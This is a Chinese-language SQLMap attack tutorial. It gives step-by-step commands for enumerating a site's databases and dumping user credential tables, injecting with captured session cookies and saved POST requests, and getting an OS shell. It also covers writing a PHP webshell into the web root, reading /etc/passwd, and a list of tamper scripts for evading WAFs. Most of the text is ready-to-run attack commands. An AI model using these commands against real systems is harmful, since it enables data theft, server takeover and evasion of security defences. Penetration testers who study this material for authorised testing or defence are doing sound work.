一、SQLMap拖库:
SQLMap可以完成注入点的发现,数据库类型的确认,WebShell权限和路径的确认,拖库等一系列功能。测试的Payload共分为5级:Level 1 ~ Level 5,Level 1属于基础级,Payload相对较少,Level 5 Payload很多。
1、当我们发现注入点的时候,
sqlmap -u "http://xxx.xx.xx/security/read.php?id=1"
2、查看所有的数据库
sqlmap -u "http://xxx.xxx.xxxx/security/read.php?id=1" --dbs
3、查看当前使用的数据库
sqlmap -u "http://xxx.xxx.xxx.xxx/security/read.php?id=1" --current-db
4、发现使用的是learn数据库,接下来对此数据库进行查询
sqlmap -u "http://xx.xxx.xxx./security/read.php?id=1" --tables -D "learn"
5、查出所有表以后,对user表的列名进行查询
sqlmap -u "http://xxx.xxx.xxx.xxx/security/read.php?id=1" --columns -T "user" -D "learn"
6、users表中的列名已经知道了,可以直接查出所有数据
sqlmap -u "http://xxx.xxx.xxx.xxx/security/read.php?id=1" --dump -C "userid,username,password" -T "user" -D "learn"
完成拖库操作后,可以在输出中查看到表数据,也可以直接根据提示信息进入相应文件查看内容
7、直接指定数据库类型,节省检测时间
sqlmap -u "http://xxx.xxx.xxx.xxx/security/read.php?id=1" --dbs --dbms=mysql
8、判断是否是DBA
sqlmap -u "http://xxx.xxx.xxx.xxx/security/read.php?id=1" --dbms=mysql --is-dba
9、指定Payload级别
--level=5: 探测等级,1-5,默认为1,等级越高,payload越多,速度越慢。HTTP cookei在level为2时就会测试,HTTP User-Agent/Referer在level为3时就会测试。
10、自定义Referer和User-Agent
--random-agent 从/usr/share/sqlmap/data/txt/user-agents.txt文件中随机读取一条User-Agent --user-agent=Qiang/Scanner 任意自定义user-agent --referer=https://xxx.xxx.xxx.xxx.com/test/1 自行指定referer
二、POST和Cookie
1、如果某个注入点需要先登录,那么可以手工登录后,使用相同的Cookie进行处理
sqlmap -u "http://xxx.xxx.xxx.xxx/security/read.php?id=1" --cookie="PHPSESSID=spcldevefisb5k761oqahirsl4" --dbs
2、如果注入点不是GET请求,而是POST请求,则要添加POST正文
(1)先将POST请求在Burp中进行捕获,将请求内容保存到文件中。
(3)运行SQLMap时,再通过-r参数指定文件,同时通过-p参数明确指定参数名(上述请求的参数为id),实现注入。
sqlmap -r post文件 -p id --cookie="PHPSESSID=spcldevefisb5k761oqahirsl4" --dbs
需要注意的是,由于URL地址已经在sql-post.txt的请求内容中,所以不再需要指定-u参数。如果不通过-p指定id参数,则SQLMap会尝试所有的参数进行注入测试。如id=12345&name=woniu&addr=chengdu,此处3个参数都会被尝试。
新版本的SQLMap在处理HTTP请求类型时会进行自动检测,即使没有明确请求类型是GET还是POST,也是基本可以实现功能的。
三、OS-Shell
1、整个过程分为三个部分:
(1)猜测网站绝对路径
(2)尝试写入木马
(3)获取到Shell命令行
sqlmap -r ./sql-post.txt -p id --cookie="PHPSESSID=spcldevefisb5k761oqahirsl4" --dbms=mysql --os-shell
2、手工读写文件
# 读取远程服务器上的文件 sqlmap -r ./sql-post.txt -p id --cookie="PHPSESSID=spcldevefisb5k761oqahirsl4" --dbms=mysql --file-read "/etc/passwd" # 当SQL不能自动完成木马植入时,可以使用此命令进行手工植入: sqlmap -r ./sql-post.txt -p id --cookie="PHPSESSID=spcldevefisb5k761oqahirsl4" --dbms=mysql --file-write ./mm.php --file-dest /opt/lampp/htdocs/security/temp/mm.php # 此时,也可以使用Python调用sqlmap的命令 (os.popen("").read())进行盲猜,循环遍历目录字典文件。 sqlmap -u "http://192.168.36.150/security/read.php?id=1" --cookie="PHPSESSID=jbn47m13m6qbs4b5lq7ljp6nu0" --dbms=mysql --file-write ./mm.php --file-dest /opt/lampp/htdocs/security/temp/mm.php --batch # --batch参数可以直接一次性运行完,SQLMap中途不会询问(非交互模式),按照默认设置,适合于自动化。
常见的一些SQL注入语句: SQL注入语句大全_张自强的博客-CSDN博客_sql注入语句大全 SQLMapAPI:SqlmapApi学习 · Issue #69 · PyxYuYu/MyBlog · GitHub
四、Tamper绕过
1、用法
--identify-waf 可以检查网站是否有安全防护(WAF/IDS/IPS) --tamper 参数对数据做修改来绕过WAF等设备,其中大部分脚本主要用正则模块替换攻击载荷字符编码的方式尝试绕过WAF的检测规则。 命令:sqlmap.py -u "URL" --tamper "模块.py"
2、模块说明
apostrophemask.py # 将引号替换为UTF-8,用于过滤单引号 base64encode.py # 替换为base64编码 multiplespaces.py # 围绕sql关键字添加多个空格 space2plus.py # 用+号替换空格 nonrecursivereplacement.py # 作为双重查询语句,用双重语句替代预定义的sql关键字(适用于非常弱的自定义过滤器,例如将select替换为空) space2randomblank.py # 将空格替换为其他有效字符 unionalltounion.py # 将union all select 替换为union select securesphere.py # 追加特制的字符串 space2hash.py # 将空格替换为#号,并添加一个随机字符串和换行符。 space2mssqlblank.py # (mssql)将空格替换为其他空符号 space2mssqlhash.py # 将空格替换为#号,并添加一个换行符 between.py # 用NOT BETWEEN 0 AND替换大于号,用BETWEEN AND替换等号 percentage.py # ASP允许在每个字符前面添加一个%号 sp_password.py # 从DBMS日志的自动模糊处理的有效载荷中追加sp_password charencode.py # 对给定的Payload全部字符使用URL编码(不处理已经编码的字符) randomcase.py # 随机大小写 charunicodeencode.py # 字符串Unicode编码 space2comment.py # 将空格替换为/**/ equaltolike.py # 将等号替换为like greatest.py # 绕过对>的过滤,用GREATEST替换大于号 ifnull2ifisnull.py # 绕过IFNULL的过滤,替换类似IFNULL(A,B)为IF(ISNULL(A),B,A) modsecurityversioned.py # 过滤空格,使用Mysql内联注释的方法进行注入 space2mysqlblank.py # 将空格替换为其他空白符号(使用户MySQL) modsecurityzeroversioned.py # 使用mysql内联注释(/*! 00000*/)的方式进行注入 space2mysqldash.py # 将空格替换为--,并添加一个换行符。 bluecoat.py # 在sql语句之后用有效的随机空白符替换空格符,随后用like替换等于号。 versionedkeywords.py # 注释绕过 halfversionedmorekeywords.py # 当数据库为mysql时绕过防火墙,在每个关键字之前添加mysql版本注释 space2morehash.py # 将空格替换为#号,并添加一个随机字符串和换行符。 apostrophenullencode.py # 用非法双字节unicode字符替换单引号 appendnullbyte.py # 在有效载荷的结束为止加载零字节字符编码 chardoubleencode.py # 对给定的payload全部字符使用双重URL编码(不处理已经编码的字符) unmagicquotes.py # 用一个多字节组合(%bf%27)和末尾通用注释一起替换空格。 randomcomments.py # 用/**/分割sql关键字